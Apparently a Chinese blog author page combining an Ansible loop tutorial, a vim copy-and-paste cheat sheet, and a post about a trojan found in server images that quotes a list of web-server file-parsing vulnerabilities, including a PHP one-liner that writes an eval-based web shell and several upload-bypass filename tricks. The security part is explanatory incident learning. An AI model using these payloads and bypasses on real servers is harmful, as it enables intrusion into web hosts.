Joyber 发布的文章

playbook中可以写多种循环:

with_list

with_items

with_indexed_items

with_flattened

with_together

with_dict

with_sequence

with_subelements

with_nested / with_cartesian

with_random_choice

列表 with_list
这个例子会分别执行['protected/yiic1', '0755'], ['protected/yiic2', '0766'],['protected/yiic3', '0777']

- name: change files mode
            file:
                path: '{{ destdir }}/{{ item.0 }}'
                mode: '{{ item.1 }}'
            with_list:
                    - ['protected/yiic1', '0755']
                    - ['protected/yiic2', '0766']
                    - ['protected/yiic3', '0777']

标准循环(with_items):
注意例2的结果将会分别执行1,2,3,'a','b'

#例1
- name: add several users
  user: name={{ item }} state=present groups=wheel
  with_items:
     - testuser1
     - testuser2

#例2
- name: add several users
  user: name={{ item }} state=present groups=wheel
  with_items:
     - [1,2,3]
     - ['b','c']

嵌套循环(with_nested / with_cartesian):可以实现 mkdir -p /testdir/testdir/{a,b,c}/{test1,test2} 这样的效果

- file:
      state: directory
      path: "/testdir/testdir/{{ item.0 }}/{{ item.1 }}"
  with_nested:
  - [ a, b, c ]
  - [ test1, test2 ]

对哈希表使用循环

---
users:
  alice:
    name: Alice Appleworth
    telephone: 123-456-7890
  bob:
    name: Bob Bananarama
    telephone: 987-654-3210
...
tasks:
  - name: Print phone records
    debug: msg="User {{ item.key }} is {{ item.value.name }} ({{ item.value.telephone }})"
    with_dict: "{{users}}"

对文件列表使用循环

---
- hosts: all

  tasks:

    # first ensure our target directory exists
    - file: dest=/etc/fooapp state=directory

    # copy each file over that matches the given pattern
    - copy: src={{ item }} dest=/etc/fooapp/ owner=root mode=600
      with_fileglob:
        - /playbooks/files/fooapp/*

对并行数据集使用循环(一个数组对应另一个数组)

---
alpha: [ 'a', 'b', 'c', 'd' ]
numbers:  [ 1, 2, 3, 4 ]
#如果你想得到’(a, 1)’和’(b, 2)’之类的集合.可以使用’with_together’:
tasks:
    - debug: msg="{{ item.0 }} and {{ item.1 }}"
      with_together:
        - "{{alpha}}"
        - "{{numbers}}"

对子元素使用循环

---
users:
  - name: alice
    authorized:
      - /tmp/alice/onekey.pub
      - /tmp/alice/twokey.pub
    mysql:
        password: mysql-password
        hosts:
          - "%"
          - "127.0.0.1"
          - "::1"
          - "localhost"
        privs:
          - "*.*:SELECT"
          - "DB1.*:ALL"
  - name: bob
    authorized:
      - /tmp/bob/id_rsa.pub
    mysql:
        password: other-mysql-password
        hosts:
          - "db1"
        privs:
          - "*.*:SELECT"
          - "DB2.*:ALL"

#那么可以这样实现:

- user: name={{ item.name }} state=present generate_ssh_key=yes
  with_items: "{{users}}"

- authorized_key: "user={{ item.0.name }} key='{{ lookup('file', item.1) }}'"
  with_subelements:
     - users
     - authorized

#根据mysql hosts以及预先给定的privs subkey列表,我们也可以在嵌套的subkey中迭代列表:

- name: Setup MySQL users
  mysql_user: name={{ item.0.user }} password={{ item.0.mysql.password }} host={{ item.1 }} priv={{ item.0.mysql.privs | join('/') }}
  with_subelements:
    - users
    - mysql.hosts

对整数序列使用循环
with_sequence 可以以升序数字顺序生成一组序列.你可以指定起始值、终止值,以及一个可选的步长值.
指定参数时也可以使用key=value这种键值对的方式.如果采用这种方式,’format’是一个可打印的字符串.
数字值可以被指定为10进制,16进制(0x3f8)或者八进制(0600).负数则不受支持.请看以下示例:

---
- hosts: all

  tasks:

    # create groups
    - group: name=evens state=present
    - group: name=odds state=present

    # create some test users
    - user: name={{ item }} state=present groups=evens
      with_sequence: start=0 end=32 format=testuser%02x

    # create a series of directories with even numbers for some reason
    - file: dest=/var/stuff/{{ item }} state=directory
      with_sequence: start=4 end=16 stride=2

    # a simpler way to use the sequence plugin
    # create 4 groups
    - group: name=group{{ item }} state=present
      with_sequence: count=4

随机选择

‘random_choice’功能可以用来随机获取一些值.它并不是负载均衡器(已经有相关的模块了).它有时可以用作一个简化版的负载均衡器,比如作为条件判断:

- debug: msg={{ item }}
  with_random_choice:
     - "go through the door"
     - "drink from the goblet"
     - "press the red button"
     - "do nothing"

Do-Until循环
有时你想重试一个任务直到达到某个条件.比如下面这个例子:

- action: shell /usr/bin/foo
  register: result
  until: result.stdout.find("all systems go") != -1
  retries: 5
  delay: 10

上面的例子递归运行shell模块,直到模块结果中的stdout输出中包含”all systems go”字符串,或者该任务按照10秒的延迟重试超过5次.”retries”和”delay”的默认值分别是3和5.

该任务返回最后一个任务返回的结果.单次重试的结果可以使用-vv选项来查看. 被注册的变量会有一个新的属性’attempts’,值为该任务重试的次数.

查找第一个匹配的文件
这其实不是一个循环,但和循环很相似.如果你想引用一个文件,而该文件是从一组文件中根据给定条件匹配出来的.这组文件中部分文件名由变量拼接而成.针对该场景你可以这样做:

- name: INTERFACES | Create Ansible header for /etc/network/interfaces
  template: src={{ item }} dest=/etc/foo.conf
  with_first_found:
    - "{{ansible_virtualization_type}}_foo.conf"
    - "default_foo.conf"

该功能还有一个更完整的版本,可以配置搜索路径.请看以下示例:

- name: some configuration template
  template: src={{ item }} dest=/etc/file.cfg mode=0444 owner=root group=root
  with_first_found:
    - files:
       - "{{inventory_hostname}}/etc/file.cfg"
      paths:
       - ../../../templates.overwrites
       - ../../../templates
    - files:
        - etc/file.cfg
      paths:
        - templates

迭代程序的执行结果

有时你想执行一个程序,而且按行循环该程序的输出.Ansible提供了一个优雅的方式来实现这一点.但请记住,该功能始终在控制机上执行,而不是本地机器:

- name: Example of looping over a command result
  shell: /usr/bin/frobnicate {{ item }}
  with_lines: /usr/bin/frobnications_per_host --param {{ inventory_hostname }}

好吧,这好像有点随意.事实上,如果你在做一些与inventory有关的事情,比如你想编写一个动态的inventory源(参见 动态 Inventory),那么借助该功能能够快速实现.

如果你想远程执行命令,那么以上方法则不行.但你可以这样写:

- name: Example of looping over a REMOTE command result
  shell: /usr/bin/something
  register: command_result

- name: Do something with each result
  shell: /usr/bin/something_else --param {{ item }}
  with_items: "{{command_result.stdout_lines}}"

使用索引循环列表
如果你想循环一个列表,同时得到一个数字索引来标明你当前处于列表什么位置,那么你可以这样做.虽然该方法不太常用:

- name: indexed loop demo
  debug: msg="at array position {{ item.0 }} there is a value {{ item.1 }}"
  with_indexed_items: "{{some_list}}"

循环配置文件
ini插件可以使用正则表达式来获取一组键值对.因此,我们可以遍历该集合.以下是我们使用的ini文件:


[section1]
value1=section1/value1
value2=section1/value2

[section2]
value1=section2/value1
value2=section2/value2

以下是使用 with_ini 的例子:

- debug: msg="{{item}}"
  with_ini: value[1-2] section=section1 file=lookup.ini re=true

linux系统上编辑文本文件,基本都是用vim吧,这里专门讲 vim 编辑器的选择、复制、剪切、粘贴使用技巧:

  1. 选定文本块。
    v:按字符选择。经常使用的模式,所以亲自尝试一下它。
    V:按行选择。这在你想拷贝或者移动很多行的文本的时候特别有用。
    CTRL+v:按块选择。非常强大,只在很少的编辑器中才有这样的功能。你可以选择一个矩形块,并且在这个矩形里面的文本会被高亮。

    选择不规则字数的多个行的内容,可以按 CTRL+v 然后按上下选择多个行首,再按end键就会选择中这些行的文字了

2.复制的命令是y,即yank(提起) ,常用的命令如下:

y      在使用v模式选定了某一块的时候,复制选定块到缓冲区用; 
yy    复制整行(nyy或者yny ,复制n行,n为数字); 
y^   复制当前到行头的内容; 
y$    复制当前到行尾的内容; 
yw   复制一个word (nyw或者ynw,复制n个word,n为数字); 
yG    复制至档尾(nyG或者ynG,复制到第n行,例如1yG或者y1G,复制到档尾)  
  1. 剪切的命令是d,即delete,d与y命令基本类似,所以两个命令用法一样,包括含有数字的用法.
    d 剪切选定块到缓冲区;
    dd 剪切整行
    d^ 剪切至行首
    d$ 剪切至行尾
    dw 剪切一个word
    dG 剪切至档尾
  2. 粘贴的命令式p,即put(放下)
    p 小写p代表贴至游标后(下),因为游标是在具体字符的位置上,所以实际是在该字符的后面
    P 大写P代表贴至游标前(上)
    整行的复制粘贴在游标的上(下)一行,非整行的复制则是粘贴在游标的前(后)

注:

 在正则表达式中,^表示匹配字符串的开始位置,$表示匹配字符串的结束位置。 
 命令前面加数字表示重复的次数,加字母表示使用的缓冲区名称。使用英文句号"."可以重复上一个命令。 
 在复制粘贴时,另一组常用的命令是u(撤销操作),U(撤销某一行最近所有修改),Ctrl+R(重做),这些功能主要是vim中的,vi中略有差别

然后一天发现阿里平台给出了可疑木马报告,一看是两个图片文件,用vim编辑文件,果然在文件尾发现<% xxxx %>的一句木马代码。应该是asp语言的木马。
看是下木马是怎么在服务器上被执行的,有时间可以学习和验证一下,增加自己的安全经验:

这篇文章非常不错:
https://www.cnblogs.com/myJuly/p/12973832.html

以下内容来自百度知道:
利用解析漏洞
一、IIS 5.x/6.0解析漏洞
IIS 6.0解析利用方法有两种
1.目录解析
/xx.asp/xx.jpg
2.文件解zhi析
wooyun.asp;.jpg
第一种,在网站下建立文件夹的名dao字为 .asp、.asa 的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。
例如创建目录 wooyun.asp,那么
/wooyun.asp/1.jpg
将被当作asp文件来执行。假设黑阔可以控制上传文件夹路径,就可以不管你上传后你的图片改不改名都能拿shell了。
第二种,在IIS6.0下,分号后面的不被解析,也就是说
wooyun.asp;.jpg
会被服务器看成是wooyun.asp还有IIS6.0 默认的可执行文件除了asp还包含这三种
/wooyun.asa
/wooyun.cer
/wooyun.cdx
二、IIS 7.0/IIS 7.5/ Nginx <8.03畸形解析漏洞
Nginx解析漏洞这个伟大的漏洞是我国安全组织80sec发现的…
在默认Fast-CGI开启状况下,黑阔上传一个名字为wooyun.jpg,内容为
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
的文件,然后访问wooyun.jpg/.php,在这个目录下就会生成一句话木马 shell.php
三、Nginx <8.03 空字节代码执行漏洞
影响版:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37
Nginx在图片中嵌入PHP代码然后通过访问
xxx.jpg%00.php
来执行其中的代码
四、Apache解析漏洞
Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断.
比如 wooyun.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php.
如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个wooyun.php.rara.jpg.png…(把你知道的常见后缀都写上…)去测试是否是合法后缀
五、其他
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,黑客可以通过抓包,在文件名后加一个空格或者点绕过黑名单.若上传成功,空格和点都会被windows自动消除,这样也可以getshell。
如果在Apache中.htaccess可被执行.且可被上传.那可以尝试在.htaccess中写入:
SetHandler application/x-httpd-php
然后再上传shell.jpg的木马, 这样shell.jpg就可解析为php文件